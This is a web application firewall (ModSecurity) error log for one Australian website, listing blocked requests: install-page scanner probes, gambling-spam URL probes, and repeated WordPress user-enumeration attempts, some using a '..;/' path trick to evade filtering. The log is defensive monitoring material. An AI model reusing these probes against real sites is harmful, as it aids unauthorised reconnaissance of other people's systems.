[Fri Apr 17 04:04:13.988736 2026] [:error] [pid 9152:tid 9201] [client 209.38.89.62:47018] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blog/wp-admin/install.php"] [unique_id "aeFAvZJYca8I3TNCwIfOjwAAAEs"]
[Fri Apr 17 04:04:14.037545 2026] [:error] [pid 9152:tid 9211] [client 209.38.89.62:47032] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms/wp-admin/install.php"] [unique_id "aeFAvpJYca8I3TNCwIfOkAAAAFU"]
[Fri Apr 17 04:04:14.094420 2026] [:error] [pid 9152:tid 9192] [client 209.38.89.62:47042] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web/wp-admin/install.php"] [unique_id "aeFAvpJYca8I3TNCwIfOkQAAAEI"]
[Fri Apr 17 04:04:14.132870 2026] [:error] [pid 9152:tid 9199] [client 209.38.89.62:47052] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/backup/wp-admin/install.php"] [unique_id "aeFAvpJYca8I3TNCwIfOkgAAAEk"]
[Fri Apr 17 04:04:14.173754 2026] [:error] [pid 9152:tid 9212] [client 209.38.89.62:47056] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/site/wp-admin/install.php"] [unique_id "aeFAvpJYca8I3TNCwIfOkwAAAFY"]
[Fri Apr 17 04:04:14.218294 2026] [:error] [pid 9152:tid 9198] [client 209.38.89.62:47072] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oldsite/wp-admin/install.php"] [unique_id "aeFAvpJYca8I3TNCwIfOlQAAAEg"]
[Fri Apr 17 04:04:14.259649 2026] [:error] [pid 9152:tid 9205] [client 209.38.89.62:47080] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/wp-admin/install.php"] [unique_id "aeFAvpJYca8I3TNCwIfOlwAAAE8"]
[Fri Apr 17 05:05:29.643611 2026] [:error] [pid 9263:tid 9272] [client 217.182.194.26:57528] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aeFPGRP68VyHNvj1e57gRQAAAMc"]
[Fri Apr 17 05:05:33.596578 2026] [:error] [pid 51878:tid 51900] [client 217.182.194.26:43236] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aeFPHUnQhUtMbw9EsgZIrgAAARQ"]
[Fri Apr 17 05:05:36.247183 2026] [:error] [pid 51878:tid 51897] [client 217.182.194.26:59964] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aeFPIEnQhUtMbw9EsgZIvgAAARE"]
[Fri Apr 17 05:05:39.980571 2026] [:error] [pid 9152:tid 9213] [client 217.182.194.26:59968] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aeFPI5JYca8I3TNCwIf-ogAAAFc"]
[Fri Apr 17 05:05:43.487988 2026] [:error] [pid 9153:tid 9222] [client 217.182.194.26:59972] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aeFPJ-MHGxkTZX3c45fqWwAAAIQ"]
[Fri Apr 17 05:05:46.614318 2026] [:error] [pid 9153:tid 9235] [client 217.182.194.26:36124] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aeFPKuMHGxkTZX3c45fqaQAAAJE"]
[Fri Apr 17 05:05:49.340359 2026] [:error] [pid 51878:tid 51880] [client 217.182.194.26:36130] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aeFPLUnQhUtMbw9EsgZJBQAAAQA"]
[Fri Apr 17 05:05:53.399341 2026] [:error] [pid 51878:tid 51893] [client 217.182.194.26:36132] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aeFPMUnQhUtMbw9EsgZJOQAAAQ0"]
[Fri Apr 17 05:05:57.112903 2026] [:error] [pid 51878:tid 51882] [client 217.182.194.26:51080] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aeFPNUnQhUtMbw9EsgZJXQAAAQI"]
[Fri Apr 17 05:06:00.045985 2026] [:error] [pid 9263:tid 9277] [client 217.182.194.26:51094] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeFPOBP68VyHNvj1e57gxgAAAMw"]
[Fri Apr 17 05:06:03.213417 2026] [:error] [pid 51878:tid 51888] [client 217.182.194.26:51106] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeFPO0nQhUtMbw9EsgZJiwAAAQg"]
[Fri Apr 17 05:06:06.159480 2026] [:error] [pid 51878:tid 51900] [client 217.182.194.26:34816] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeFPPknQhUtMbw9EsgZJoAAAARQ"]
[Fri Apr 17 05:06:09.198864 2026] [:error] [pid 9152:tid 9208] [client 217.182.194.26:34832] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeFPQZJYca8I3TNCwIf-0AAAAFI"]
[Fri Apr 17 05:06:12.431252 2026] [:error] [pid 51878:tid 51896] [client 217.182.194.26:34848] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeFPREnQhUtMbw9EsgZJxgAAARA"]
[Fri Apr 17 05:06:15.209325 2026] [:error] [pid 9151:tid 9182] [client 217.182.194.26:53186] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeFPR8hTVuRPkua22vSNWQAAABU"]
[Fri Apr 17 05:06:18.077752 2026] [:error] [pid 9152:tid 9207] [client 217.182.194.26:53200] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeFPSpJYca8I3TNCwIf-4wAAAFE"]
[Fri Apr 17 05:06:22.143423 2026] [:error] [pid 51878:tid 51895] [client 217.182.194.26:53208] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeFPTknQhUtMbw9EsgZKHgAAAQ8"]
[Fri Apr 17 08:30:48.600697 2026] [:error] [pid 25010:tid 25032] [client 43.130.53.252:60722] [client 43.130.53.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeF_OI-7kkf42RarqQ39IQAAAVM"]
[Fri Apr 17 11:01:54.925065 2026] [:error] [pid 9151:tid 9167] [client 62.60.131.177:40056] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGioshTVuRPkua22vT7ewAAAAY"]
[Fri Apr 17 11:01:57.290906 2026] [:error] [pid 9151:tid 9169] [client 62.60.131.177:12766] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGipchTVuRPkua22vT7fAAAAAg"]
[Fri Apr 17 11:01:59.395518 2026] [:error] [pid 34273:tid 34276] [client 62.60.131.177:40080] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGip2uQDW686mK3dgGTWwAAAYE"]
[Fri Apr 17 11:02:00.679163 2026] [:error] [pid 9152:tid 9209] [client 62.60.131.177:12850] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGiqJJYca8I3TNCwIe7TAAAAFM"]
[Fri Apr 17 11:02:01.982938 2026] [:error] [pid 51878:tid 51889] [client 62.60.131.177:12858] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGiqUnQhUtMbw9Esgb7AQAAAQk"]
[Fri Apr 17 11:02:05.207547 2026] [:error] [pid 9151:tid 9165] [client 62.60.131.177:12878] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGirchTVuRPkua22vT7fwAAAAQ"]
[Fri Apr 17 11:02:05.216482 2026] [:error] [pid 9152:tid 9199] [client 62.60.131.177:12892] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGirZJYca8I3TNCwIe7WAAAAEk"]
[Fri Apr 17 11:02:06.494991 2026] [:error] [pid 9151:tid 9180] [client 62.60.131.177:12898] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeGirshTVuRPkua22vT7gQAAABM"]
[Fri Apr 17 11:02:09.032637 2026] [:error] [pid 9152:tid 9202] [client 62.60.131.177:57456] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeGisZJYca8I3TNCwIe7ZwAAAEw"]
[Fri Apr 17 11:02:09.234974 2026] [:error] [pid 34273:tid 34295] [client 62.60.131.177:57460] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGisWuQDW686mK3dgGTYAAAAZQ"]
[Fri Apr 17 11:02:10.975801 2026] [:error] [pid 9152:tid 9210] [client 62.60.131.177:57486] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGispJYca8I3TNCwIe7bAAAAFQ"]
[Fri Apr 17 11:02:12.249287 2026] [:error] [pid 34273:tid 34290] [client 62.60.131.177:57488] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeGitGuQDW686mK3dgGTYwAAAY8"]
[Fri Apr 17 11:02:13.227356 2026] [:error] [pid 9152:tid 9191] [client 62.60.131.177:57508] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGitZJYca8I3TNCwIe7dwAAAEE"]
[Fri Apr 17 11:02:15.486859 2026] [:error] [pid 25010:tid 25035] [client 62.60.131.177:57522] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGit4-7kkf42RarqQ0oiQAAAVY"]
[Fri Apr 17 11:02:16.532529 2026] [:error] [pid 34273:tid 34297] [client 62.60.131.177:57532] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeGiuGuQDW686mK3dgGTaQAAAZY"]
[Fri Apr 17 11:02:19.895584 2026] [:error] [pid 9152:tid 9212] [client 62.60.131.177:19512] [client 62.60.131.177] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGiu5JYca8I3TNCwIe7mgAAAFY"]
[Fri Apr 17 11:21:03.276453 2026] [:error] [pid 9152:tid 9213] [client 195.201.199.99:56992] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeGnH5JYca8I3TNCwIfBQgAAAFc"]
[Fri Apr 17 11:21:06.819289 2026] [:error] [pid 25010:tid 25036] [client 195.201.199.99:38954] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeGnIo-7kkf42RarqQ0qvAAAAVc"]
[Fri Apr 17 11:21:09.824325 2026] [:error] [pid 9153:tid 9240] [client 195.201.199.99:39774] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeGnJeMHGxkTZX3c45etFQAAAJY"]
[Fri Apr 17 11:21:13.377649 2026] [:error] [pid 9153:tid 9219] [client 195.201.199.99:40770] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aeGnKeMHGxkTZX3c45etGAAAAIE"]
[Fri Apr 17 11:21:16.976610 2026] [:error] [pid 9152:tid 9198] [client 195.201.199.99:41616] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeGnLJJYca8I3TNCwIfBUwAAAEg"]
[Fri Apr 17 11:21:20.480214 2026] [:error] [pid 9151:tid 9175] [client 195.201.199.99:42496] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeGnMMhTVuRPkua22vT-DQAAAA4"]
[Fri Apr 17 11:21:23.840582 2026] [:error] [pid 51878:tid 51899] [client 195.201.199.99:43268] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeGnM0nQhUtMbw9Esgb8kgAAARM"]
[Fri Apr 17 11:21:26.924970 2026] [:error] [pid 9151:tid 9167] [client 195.201.199.99:43954] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeGnNshTVuRPkua22vT-EQAAAAY"]
[Fri Apr 17 11:21:30.141671 2026] [:error] [pid 9152:tid 9192] [client 195.201.199.99:44650] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeGnOpJYca8I3TNCwIfBYAAAAEI"]
